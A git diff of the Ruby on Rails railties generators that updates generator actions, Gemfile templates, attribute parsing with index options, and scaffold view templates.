@@ -134,12 +100,9 @@ module Rails
# Run a command in git.
#
- # ==== Examples
- #
# git :init
# git :add => "this.file that.rb"
# git :add => "onefile.rb", :rm => "badfile.cxx"
- #
def git(commands={})
if commands.is_a?(Symbol)
run "git #{commands}"
@@ -153,15 +116,12 @@ module Rails
# Create a new file in the vendor/ directory. Code can be specified
# in a block or a data string can be given.
#
- # ==== Examples
- #
# vendor("sekrit.rb") do
# sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
# "salt = '#{sekrit_salt}'"
# end
#
# vendor("foreign.rb", "# Foreign code is fun")
- #
def vendor(filename, data=nil, &block)
log :vendor, filename
create_file("vendor/#{filename}", data, :verbose => false, &block)
@@ -170,14 +130,11 @@ module Rails
# Create a new file in the lib/ directory. Code can be specified
# in a block or a data string can be given.
#
- # ==== Examples
- #
# lib("crypto.rb") do
# "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
# end
#
# lib("foreign.rb", "# Foreign code is fun")
- #
def lib(filename, data=nil, &block)
log :lib, filename
create_file("lib/#{filename}", data, :verbose => false, &block)
@@ -185,22 +142,19 @@ module Rails
# Create a new Rakefile with the provided code (either in a block or a string).
#
- # ==== Examples
- #
# rakefile("bootstrap.rake") do
# project = ask("What is the UNIX name of your project?")
#
# <<-TASK
# namespace :#{project} do
# task :bootstrap do
- # puts "i like boots!"
+ # puts "I like boots!"
# end
# end
# TASK
# end
#
- # rakefile("seed.rake", "puts 'im plantin ur seedz'")
- #
+ # rakefile('seed.rake', 'puts "Planting seeds"')
def rakefile(filename, data=nil, &block)
log :rakefile, filename
create_file("lib/tasks/#{filename}", data, :verbose => false, &block)
@@ -208,8 +162,6 @@ module Rails
# Create a new initializer with the provided code (either in a block or a string).
#
- # ==== Examples
- #
# initializer("globals.rb") do
# data = ""
#
@@ -221,7 +173,6 @@ module Rails
# end
#
# initializer("api.rb", "API_KEY = '123456'")
- #
def initializer(filename, data=nil, &block)
log :initializer, filename
create_file("config/initializers/#{filename}", data, :verbose => false, &block)
@@ -231,10 +182,7 @@ module Rails
# The second parameter is the argument string that is passed to
# the generator or an Array that is joined.
#
- # ==== Example
- #
# generate(:authenticated, "user session")
- #
def generate(what, *args)
log :generate, what
argument = args.map {|arg| arg.to_s }.flatten.join(" ")
@@ -244,12 +192,9 @@ module Rails
# Runs the supplied rake task
#
- # ==== Example
- #
# rake("db:migrate")
# rake("db:migrate", :env => "production")
# rake("gems:install", :sudo => true)
- #
def rake(command, options={})
log :rake, command
env = options[:env] || ENV["RAILS_ENV"] || 'development'
@@ -259,10 +204,7 @@ module Rails
# Just run the capify command in root
#
- # ==== Example
- #
# capify!
- #
def capify!
log :capify, ""
in_root { run("#{extify(:capify)} .", :verbose => false) }
@@ -270,25 +212,19 @@ module Rails
# Make an entry in Rails routing file config/routes.rb
#
- # === Example
- #
- # route "root :to => 'welcome'"
- #
+ # route "root :to => 'welcome#index'"
def route(routing_code)
log :route, routing_code
- sentinel = /\.routes\.draw do(?:\s*\|map\|)?\s*$/
+ sentinel = /\.routes\.draw do\s*$/
in_root do
- inject_into_file 'config/routes.rb', "\n #{routing_code}\n", { :after => sentinel, :verbose => false }
+ inject_into_file 'config/routes.rb', "\n #{routing_code}", { :after => sentinel, :verbose => false }
end
end
# Reads the given file at the source root and prints it in the console.
#
- # === Example
- #
# readme "README"
- #
def readme(path)
log File.read(find_in_source_paths(path))
end
@@ -298,7 +234,6 @@ module Rails
# Define log for backwards compatibility. If just one argument is sent,
# invoke say, otherwise invoke say_status. Differently from say and
# similarly to say_status, this method respects the quiet? option given.
- #
def log(*args)
if args.size == 1
say args.first.to_s unless options.quiet?
@@ -309,7 +244,6 @@ module Rails
end
# Add an extension to the given name based on the platform.
- #
def extify(name)
if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
"#{name}.bat"
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
index 7af893e1fd..0e51b9c568 100644
--- a/railties/lib/rails/generators/active_model.rb
+++ b/railties/lib/rails/generators/active_model.rb
@@ -37,7 +37,7 @@ module Rails
# GET show
# GET edit
- # PUT update
+ # PATCH/PUT update
# DELETE destroy
def self.find(klass, params=nil)
"#{klass}.find(#{params})"
@@ -58,13 +58,13 @@ module Rails
"#{name}.save"
end
- # PUT update
+ # PATCH/PUT update
def update_attributes(params=nil)
"#{name}.update_attributes(#{params})"
end
# POST create
- # PUT update
+ # PATCH/PUT update
def errors
"#{name}.errors"
end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 134d86fab0..2c1742c6be 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -49,6 +49,9 @@ module Rails
class_option :skip_javascript, :type => :boolean, :aliases => "-J", :default => false,
:desc => "Skip JavaScript files"
+ class_option :skip_index_html, :type => :boolean, :aliases => "-I", :default => false,
+ :desc => "Skip public/index.html and app/assets/images/rails.png files"
+
class_option :dev, :type => :boolean, :default => false,
:desc => "Setup the #{name} with Gemfile pointing to your Rails checkout"
@@ -60,9 +63,6 @@ module Rails
class_option :help, :type => :boolean, :aliases => "-h", :group => :rails,
:desc => "Show this help message and quit"
-
- class_option :old_style_hash, :type => :boolean, :default => false,
- :desc => "Force using old style hash (:foo => 'bar') on Ruby >= 1.9"
end
def initialize(*args)
@@ -123,7 +123,7 @@ module Rails
end
def database_gemfile_entry
- options[:skip_active_record] ? "" : "gem '#{gem_for_database}'\n"
+ options[:skip_active_record] ? "" : "gem '#{gem_for_database}'"
end
def include_all_railties?
@@ -137,20 +137,24 @@ module Rails
def rails_gemfile_entry
if options.dev?
<<-GEMFILE.strip_heredoc
- gem 'rails', :path => '#{Rails::Generators::RAILS_DEV_PATH}'
- gem 'journey', :path => '#{Rails::Generators::JOURNEY_DEV_PATH}'
+ gem 'rails', path: '#{Rails::Generators::RAILS_DEV_PATH}'
+ gem 'journey', github: 'rails/journey'
+ gem 'arel', github: 'rails/arel'
+ gem 'active_record_deprecated_finders', github: 'rails/active_record_deprecated_finders'
GEMFILE
elsif options.edge?
<<-GEMFILE.strip_heredoc
- gem 'rails', :git => 'git://github.com/rails/rails.git'
- gem 'journey', :git => 'git://github.com/rails/journey.git'
+ gem 'rails', github: 'rails/rails'
+ gem 'journey', github: 'rails/journey'
+ gem 'arel', github: 'rails/arel'
+ gem 'active_record_deprecated_finders', github: 'rails/active_record_deprecated_finders'
GEMFILE
else
<<-GEMFILE.strip_heredoc
gem 'rails', '#{Rails::VERSION::STRING}'
# Bundle edge Rails instead:
- # gem 'rails', :git => 'git://github.com/rails/rails.git'
+ # gem 'rails', github: 'rails/rails'
GEMFILE
end
end
@@ -182,41 +186,54 @@ module Rails
end
end
- def ruby_debugger_gemfile_entry
- if RUBY_VERSION < "1.9"
- "gem 'ruby-debug'"
+ def assets_gemfile_entry
+ return if options[:skip_sprockets]
+
+ gemfile = if options.dev? || options.edge?
+ <<-GEMFILE
+ # Gems used only for assets and not required
+ # in production environments by default.
+ group :assets do
+ gem 'sprockets-rails', github: 'rails/sprockets-rails'
+ gem 'sass-rails', github: 'rails/sass-rails'
+ gem 'coffee-rails', github: 'rails/coffee-rails'
+
+ # See https://github.com/sstephenson/execjs#readme for more supported runtimes
+ #{javascript_runtime_gemfile_entry}
+ gem 'uglifier', '>= 1.0.3'
+ end
+ GEMFILE
else
- "gem 'ruby-debug19', :require => 'ruby-debug'"
- end
- end
-
- def turn_gemfile_entry
- unless RUBY_VERSION < "1.9.2" || options[:skip_test_unit]
- <<-GEMFILE.strip_heredoc
- group :test do
- # Pretty printed test output
- gem 'turn', :require => false
+ <<-GEMFILE
+ # Gems used only for assets and not required
+ # in production environments by default.
+ group :assets do
+ gem 'sprockets-rails', github: 'rails/sprockets-rails'
+ gem 'sass-rails', '~> 4.0.0.beta'
+ gem 'coffee-rails', '~> 4.0.0.beta'
+
+ # See https://github.com/sstephenson/execjs#readme for more supported runtimes
+ #{javascript_runtime_gemfile_entry}
+ gem 'uglifier', '>= 1.0.3'
end
GEMFILE
end
- end
- def assets_gemfile_entry
- <<-GEMFILE.strip_heredoc
- # Gems used only for assets and not required
- # in production environments by default.
- group :assets do
- gem 'sass-rails', :git => 'git://github.com/rails/sass-rails.git'
- gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git'
- gem 'uglifier', '>= 1.0.3'
- end
- GEMFILE
+ gemfile.strip_heredoc.gsub(/^[ \t]*$/, '')
end
def javascript_gemfile_entry
"gem '#{options[:javascript]}-rails'" unless options[:skip_javascript]
end
+ def javascript_runtime_gemfile_entry
+ if defined?(JRUBY_VERSION)
+ "gem 'therubyrhino'\n"
+ else
+ "# gem 'therubyracer', platform: :ruby\n"
+ end
+ end
+
def bundle_command(command)
say_status :run, "bundle #{command}"
@@ -230,11 +247,11 @@ module Rails
# end-user gets the bundler commands called anyway, so no big deal.
#
# Thanks to James Tucker for the Gem tricks involved in this call.
- print `"#{Gem.ruby}" -rubygems "#{Gem.bin_path('bundler', 'bundle')}" #{command}`
+ print `"#{Gem.ruby}" "#{Gem.bin_path('bundler', 'bundle')}" #{command}`
end
def run_bundle
- bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle]
+ bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
end
def empty_directory_with_gitkeep(destination, config = {})
@@ -245,16 +262,6 @@ module Rails
def git_keep(destination)
create_file("#{destination}/.gitkeep") unless options[:skip_git]
end
-
- # Returns Ruby 1.9 style key-value pair if current code is running on
- # Ruby 1.9.x. Returns the old-style (with hash rocket) otherwise.
- def key_value(key, value)
- if options[:old_style_hash] || RUBY_VERSION < '1.9'
- ":#{key} => #{value}"
- else
- "#{key}: #{value}"
- end
- end
end
end
end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index 911f80cf3a..28d7680669 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -31,10 +31,9 @@ module Rails
# root otherwise uses a default description.
def self.desc(description=nil)
return super if description
- usage = source_root && File.expand_path("../USAGE", source_root)
- @desc ||= if usage && File.exist?(usage)
- File.read(usage)
+ @desc ||= if usage_path
+ ERB.new(File.read(usage_path)).result(binding)
else
"Description:\n Create #{base_name.humanize.downcase} files for #{generator_name} generator."
end
@@ -48,6 +47,12 @@ module Rails
@namespace ||= super.sub(/_generator$/, '').sub(/:generators:/, ':')
end
+ # Convenience method to hide this generator from the available ones when
+ # running rails generator command.
+ def self.hide!
+ Rails::Generators.hide_namespace self.namespace
+ end
+
# Invoke a generator based on the value supplied by the user to the
# given option named "name". A class option is created when this method
# is invoked and you can set a hash to customize it.
@@ -91,7 +96,7 @@ module Rails
#
# The lookup in this case for test_unit as input is:
#
- # "test_framework:awesome", "test_framework"
+ # "test_unit:awesome", "test_unit"
#
# Which is not the desired the lookup. You can change it by providing the
# :as option:
@@ -102,7 +107,7 @@ module Rails
#
# And now it will lookup at:
#
- # "test_framework:controller", "test_framework"
+ # "test_unit:controller", "test_unit"
#
# Similarly, if you want it to also lookup in the rails namespace, you just
# need to provide the :base value:
@@ -113,7 +118,7 @@ module Rails
#
# And the lookup is exactly the same as previously:
#
- # "rails:test_framework", "test_framework:controller", "test_framework"
+ # "rails:test_unit", "test_unit:controller", "test_unit"
#
# ==== Switches
#
@@ -128,13 +133,13 @@ module Rails
#
# ==== Boolean hooks
#
- # In some cases, you want to provide a boolean hook. For example, webrat
+ # In some cases, you may want to provide a boolean hook. For example, webrat
# developers might want to have webrat available on controller generator.
# This can be achieved as:
#
# Rails::Generators::ControllerGenerator.hook_for :webrat, :type => :boolean
#
- # Then, if you want, webrat to be invoked, just supply:
+ # Then, if you want webrat to be invoked, just supply:
#
# rails generate controller Account --webrat
#
@@ -146,7 +151,7 @@ module Rails
#
# You can also supply a block to hook_for to customize how the hook is
# going to be invoked. The block receives two arguments, an instance
- # of the current class and the klass to be invoked.
+ # of the current class and the class to be invoked.
#
# For example, in the resource generator, the controller should be invoked
# with a pluralized class name. But by default it is invoked with the same
@@ -182,10 +187,7 @@ module Rails
# Remove a previously added hook.
#
- # ==== Examples
- #
# remove_hook_for :orm
- #
def self.remove_hook_for(*names)
remove_invocation(*names)
@@ -207,7 +209,8 @@ module Rails
# root, you should use source_root.
def self.default_source_root
return unless base_name && generator_name
- path = File.expand_path(File.join(base_name, generator_name, 'templates'), base_root)
+ return unless default_generator_root
+ path = File.join(default_generator_root, 'templates')
path if File.exists?(path)
end
@@ -242,7 +245,6 @@ module Rails
# Check whether the given class names are already taken by user
# application or Ruby on Rails.
- #
def class_collisions(*class_names) #:nodoc:
return unless behavior == :invoke
@@ -254,17 +256,13 @@ module Rails
nesting = class_name.split('::')
last_name = nesting.pop
- # Hack to limit const_defined? to non-inherited on 1.9
- extra = []
- extra << false unless Object.method(:const_defined?).arity == 1
-
# Extract the last Module in the nesting
last = nesting.inject(Object) do |last_module, nest|
- break unless last_module.const_defined?(nest, *extra)
+ break unless last_module.const_defined?(nest, false)
last_module.const_get(nest)
end
- if last && last.const_defined?(last_name.camelize, *extra)
+ if last && last.const_defined?(last_name.camelize, false)
raise Error, "The name '#{class_name}' is either already used in your application " <<
"or reserved by Ruby on Rails. Please choose an alternative and run " <<
"this generator again."
@@ -273,13 +271,11 @@ module Rails
end
# Use Rails default banner.
- #
def self.banner
"rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
end
# Sets the base_name taking into account the current class namespace.
- #
def self.base_name
@base_name ||= begin
if base = name.to_s.split('::').first
@@ -290,7 +286,6 @@ module Rails
# Removes the namespaces and get the generator name. For example,
# Rails::Generators::ModelGenerator will return "model" as generator name.
- #
def self.generator_name
@generator_name ||= begin
if generator = name.to_s.split('::').last
@@ -302,20 +297,17 @@ module Rails
# Return the default value for the option name given doing a lookup in
# Rails::Generators.options.
- #
def self.default_value_for_option(name, options)
default_for_option(Rails::Generators.options, name, options, options[:default])
end
# Return default aliases for the option name given doing a lookup in
# Rails::Generators.aliases.
- #
def self.default_aliases_for_option(name, options)
default_for_option(Rails::Generators.aliases, name, options, options[:aliases])
end
# Return default for the option name given doing a lookup in config.
- #
def self.default_for_option(config, name, options, default)
if generator_name and c = config[generator_name.to_sym] and c.key?(name)
c[name]
@@ -329,14 +321,12 @@ module Rails
end
# Keep hooks configuration that are used on prepare_for_invocation.
- #
def self.hooks #:nodoc:
@hooks ||= from_superclass(:hooks, {})
end
# Prepare class invocation to search on Rails namespace if a previous
# added hook is being used.
- #
def self.prepare_for_invocation(name, value) #:nodoc:
return super unless value.is_a?(String) || value.is_a?(Symbol)
@@ -352,7 +342,6 @@ module Rails
# Small macro to add ruby as an option to the generator with proper
# default value plus an instance helper method called shebang.
- #
def self.add_shebang_option!
class_option :ruby, :type => :string, :aliases => "-r", :default => Thor::Util.ruby_command,
:desc => "Path to the Ruby binary of your choice", :banner => "PATH"
@@ -371,6 +360,19 @@ module Rails
}
end
+ def self.usage_path
+ paths = [
+ source_root && File.expand_path("../USAGE", source_root),
+ default_generator_root && File.join(default_generator_root, "USAGE")
+ ]
+ paths.compact.detect { |path| File.exists? path }
+ end
+
+ def self.default_generator_root
+ path = File.expand_path(File.join(base_name, generator_name), base_root)
+ path if File.exists?(path)
+ end
+
end
end
end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
index 7b1a2a1841..d78d97b2b4 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -1,25 +1,27 @@
<h1>Listing <%= plural_table_name %></h1>
<table>
- <tr>
-<% attributes.each do |attribute| -%>
- <th><%= attribute.human_name %></th>
-<% end -%>
- <th></th>
- <th></th>
- <th></th>
- </tr>
+ <thead>
+ <tr>
+ <% attributes.each do |attribute| -%>
+ <th><%= attribute.human_name %></th>
+ <% end -%>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+ </thead>
-<%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
- <tr>
-<% attributes.each do |attribute| -%>
- <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
-<% end -%>
- <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
- <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
- <td><%%= link_to 'Destroy', <%= singular_table_name %>, <%= key_value :confirm, "'Are you sure?'" %>, <%= key_value :method, ":delete" %> %></td>
- </tr>
-<%% end %>
+ <tbody>
+ <%%= content_tag_for(:tr, @<%= plural_table_name %>) do |<%= singular_table_name %>| %>
+ <% attributes.each do |attribute| -%>
+ <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
+ <% end -%>
+ <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
+ <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
+ <td><%%= link_to 'Destroy', <%= singular_table_name %>, confirm: 'Are you sure?', method: :delete %></td>
+ <%% end %>
+ </tbody>
</table>
<br />
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
index 67f263efbb..e15c963971 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
@@ -2,7 +2,7 @@
<% attributes.each do |attribute| -%>
<p>
- <b><%= attribute.human_name %>:</b>
+ <strong><%= attribute.human_name %>:</strong>
<%%= @<%= singular_table_name %>.<%= attribute.name %> %>
</p>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
index 816d82cac3..25d0161e4c 100644
--- a/railties/lib/rails/generators/generated_attribute.rb
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -1,14 +1,60 @@
require 'active_support/time'
-require 'active_support/core_ext/object/inclusion'
module Rails
module Generators
class GeneratedAttribute
+ INDEX_OPTIONS = %w(index uniq)
+ UNIQ_INDEX_OPTIONS = %w(uniq)
+
attr_accessor :name, :type
+ attr_reader :attr_options
+
+ class << self
+ def parse(column_definition)
+ name, type, has_index = column_definition.split(':')
+
+ # if user provided "name:index" instead of "name:string:index"
+ # type should be set blank so GeneratedAttribute's constructor
+ # could set it to :string
+ has_index, type = type, nil if INDEX_OPTIONS.include?(type)
+
+ type, attr_options = *parse_type_and_options(type)
+ type = type.to_sym if type
+
+ if type && reference?(type)
+ references_index = UNIQ_INDEX_OPTIONS.include?(has_index) ? { :unique => true } : true
+ attr_options[:index] = references_index
+ end
+
+ new(name, type, has_index, attr_options)
+ end
+
+ def reference?(type)
+ [:references, :belongs_to].include? type
+ end
+
+ private
+
+ # parse possible attribute options like :limit for string/text/binary/integer or :precision/:scale for decimals
+ # when declaring options curly brackets should be used
+ def parse_type_and_options(type)
+ case type
+ when /(string|text|binary|integer)\{(\d+)\}/
+ return $1, :limit => $2.to_i
+ when /decimal\{(\d+)[,.-](\d+)\}/
+ return :decimal, :precision => $1.to_i, :scale => $2.to_i
+ else
+ return type, {}
+ end
+ end
+ end
- def initialize(name, type)
- type = :string if type.blank?
- @name, @type = name, type.to_sym
+ def initialize(name, type=nil, index_type=false, attr_options={})
+ @name = name
+ @type = type || :string
+ @has_index = INDEX_OPTIONS.include?(index_type)
+ @has_uniq_index = UNIQ_INDEX_OPTIONS.include?(index_type)
+ @attr_options = attr_options
end
def field_type
@@ -45,8 +91,28 @@ module Rails
name.to_s.humanize
end
+ def index_name
+ reference? ? "#{name}_id" : name
+ end
+
def reference?
- self.type.in?([:references, :belongs_to])
+ self.class.reference?(type)
+ end
+
+ def has_index?
+ @has_index
+ end
+
+ def has_uniq_index?
+ @has_uniq_index
+ end
+
+ def inject_options
+ "".tap { |s| @attr_options.each { |k,v| s << ", #{k}: #{v.inspect}" } }
+ end
+
+ def inject_index_options
+ has_uniq_index? ? ", unique: true" : ""
end
end
end
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index 0c5c4f6e09..5bf98bb6e0 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -3,7 +3,6 @@ module Rails
# Holds common methods for migrations. It assumes that migrations has the
# [0-9]*_name format and can be used by another frameworks (like Sequel)
# just by implementing the next migration version method.
- #
module Migration
attr_reader :migration_number, :migration_file_name, :migration_class_name
@@ -38,10 +37,7 @@ module Rails
# The migration version, migration file name, migration class name are
# available as instance variables in the template to be rendered.
#
- # ==== Examples
- #
# migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
- #
def migration_template(source, destination=nil, config={})
destination = File.expand_path(destination || source, self.destination_root)
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index c6c0392f43..e85d1b8fa2 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -9,9 +9,6 @@ module Rails
class_option :skip_namespace, :type => :boolean, :default => false,
:desc => "Skip namespace (affects only isolated applications)"
- class_option :old_style_hash, :type => :boolean, :default => false,
- :desc => "Force using old style hash (:foo => 'bar') on Ruby >= 1.9"
-
def initialize(args, *options) #:nodoc:
@inside_template = nil
# Unfreeze name in case it's given as a frozen string
@@ -43,7 +40,7 @@ module Rails
def indent(content, multiplier = 2)
spaces = " " * multiplier
- content = content.each_line.map {|line| "#{spaces}#{line}" }.join
+ content = content.each_line.map {|line| line.blank? ? line : "#{spaces}#{line}" }.join
end
def wrap_with_namespace(content)
@@ -102,7 +99,7 @@ module Rails
end
def i18n_scope
- @i18n_scope ||= file_path.gsub('/', '.')
+ @i18n_scope ||= file_path.tr('/', '.')
end
def table_name
@@ -153,9 +150,8 @@ module Rails
# Convert attributes array into GeneratedAttribute objects.
def parse_attributes! #:nodoc:
- self.attributes = (attributes || []).map do |key_value|
- name, type = key_value.split(':')
- Rails::Generators::GeneratedAttribute.new(name, type)
+ self.attributes = (attributes || []).map do |attr|
+ Rails::Generators::GeneratedAttribute.parse(attr)
end
end
@@ -184,16 +180,6 @@ module Rails
class_collisions "#{options[:prefix]}#{name}#{options[:suffix]}"
end
end
-
- # Returns Ruby 1.9 style key-value pair if current code is running on
- # Ruby 1.9.x. Returns the old-style (with hash rocket) otherwise.
- def key_value(key, value)
- if options[:old_style_hash] || RUBY_VERSION < '1.9'
- ":#{key} => #{value}"
- else
- "#{key}: #{value}"
- end
- end
end
end
end
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index c8648d19f8..c06b0f8994 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -38,7 +38,7 @@ module Rails
end
def readme
- copy_file "README"
+ copy_file "README", "README.rdoc"
end
def gemfile
@@ -97,6 +97,11 @@ module Rails
def public_directory
directory "public", "public", :recursive => false
+ if options[:skip_index_html]
+ remove_file "public/index.html"
+ remove_file 'app/assets/images/rails.png'
+ git_keep 'app/assets/images'
+ end
end
def script
@@ -124,7 +129,6 @@ module Rails
def vendor
vendor_javascripts
vendor_stylesheets
- vendor_plugins
end
def vendor_javascripts
@@ -134,18 +138,12 @@ module Rails
def vendor_stylesheets
empty_directory_with_gitkeep "vendor/assets/stylesheets"
end
-
- def vendor_plugins
- empty_directory_with_gitkeep "vendor/plugins"
- end
end
module Generators
# We need to store the RAILS_DEV_PATH in a constant, otherwise the path
# can change in Ruby 1.8.7 when we FileUtils.cd.
RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__))
- JOURNEY_DEV_PATH = File.expand_path("../../../../../../../journey", File.dirname(__FILE__))
-
RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test]
class AppGenerator < AppBase
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index 910cd16950..bf47e66cc4 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -1,11 +1,10 @@
-source 'http://rubygems.org'
+source 'https://rubygems.org'
<%= rails_gemfile_entry -%>
<%= database_gemfile_entry -%>
<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%>
-<%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%>
<%= assets_gemfile_entry %>
<%= javascript_gemfile_entry %>
@@ -13,13 +12,14 @@ source 'http://rubygems.org'
# To use ActiveModel has_secure_password
# gem 'bcrypt-ruby', '~> 3.0.0'
-# Use unicorn as the web server
+# To use Jbuilder templates for JSON
+# gem 'jbuilder'
+
+# Use unicorn as the app server
# gem 'unicorn'
# Deploy with Capistrano
-# gem 'capistrano'
+# gem 'capistrano', :group => :development
# To use debugger
-# <%= ruby_debugger_gemfile_entry %>
-
-<%= turn_gemfile_entry -%>
+# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/app/templates/README b/railties/lib/rails/generators/rails/app/templates/README
index 7c36f2356e..b5d7b6436b 100644
--- a/railties/lib/rails/generators/rails/app/templates/README
+++ b/railties/lib/rails/generators/rails/app/templates/README
@@ -86,8 +86,8 @@ programming in general.
Debugger support is available through the debugger command when you start your
Mongrel or WEBrick server with --debugger. This means that you can break out of
execution at any point in the code, investigate and change the model, and then,
-resume execution! You need to install ruby-debug to run the server in debugging
-mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example:
+resume execution! You need to install the 'debugger' gem to run the server in debugging
+mode. Add gem 'debugger' to your Gemfile and run <tt>bundle</tt> to install it. Example:
class WeblogController < ActionController::Base
def index
@@ -191,7 +191,6 @@ The default directory structure of a generated Ruby on Rails application:
`-- vendor
|-- assets
`-- stylesheets
- `-- plugins
app
Holds all the code that's specific to this particular application.
@@ -256,6 +255,5 @@ test
directory.
vendor
- External libraries that the application depends on. Also includes the plugins
- subdirectory. If the app has frozen rails, those gems also go here, under
- vendor/rails/. This directory is in the load path.
+ External libraries that the application depends on. If the app has frozen rails,
+ those gems also go here, under vendor/rails/. This directory is in the load path.
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
index 4dc1023f1f..6eb23f68a3 100755..100644
--- a/railties/lib/rails/generators/rails/app/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index 3b5cc6648e..3192ec897b 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -10,4 +10,4 @@
*
*= require_self
*= require_tree .
-*/
+ */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb
deleted file mode 100644
index e8065d9505..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ApplicationController < ActionController::Base
- protect_from_forgery
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
new file mode 100644
index 0000000000..3ddc86ae0a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
@@ -0,0 +1,5 @@
+class ApplicationController < ActionController::Base
+ # Prevent CSRF attacks by raising an exception.
+ # For APIs, you may want to use :reset_session instead.
+ protect_from_forgery :with => :exception
+end \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index c63d1b6ac5..bba96a7431 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -2,7 +2,7 @@
<html>
<head>
<title><%= camelized %></title>
- <%%= stylesheet_link_tag "application" %>
+ <%%= stylesheet_link_tag "application", :media => "all" %>
<%%= javascript_include_tag "application" %>
<%%= csrf_meta_tags %>
</head>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index 13fbe9e526..d816f973e6 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -7,15 +7,14 @@ require 'rails/all'
<%= comment_if :skip_active_record %>require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
-require "active_resource/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/rails/railtie"
<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
<% end -%>
if defined?(Bundler)
- # If you precompile assets before deploying to production, use this line
+ # If you precompile assets before deploying to production, use this line.
Bundler.require(*Rails.groups(:assets => %w(development test)))
- # If you want your assets lazily compiled in production, use this line
+ # If you want your assets lazily compiled in production, use this line.
# Bundler.require(:default, :assets, Rails.env)
end
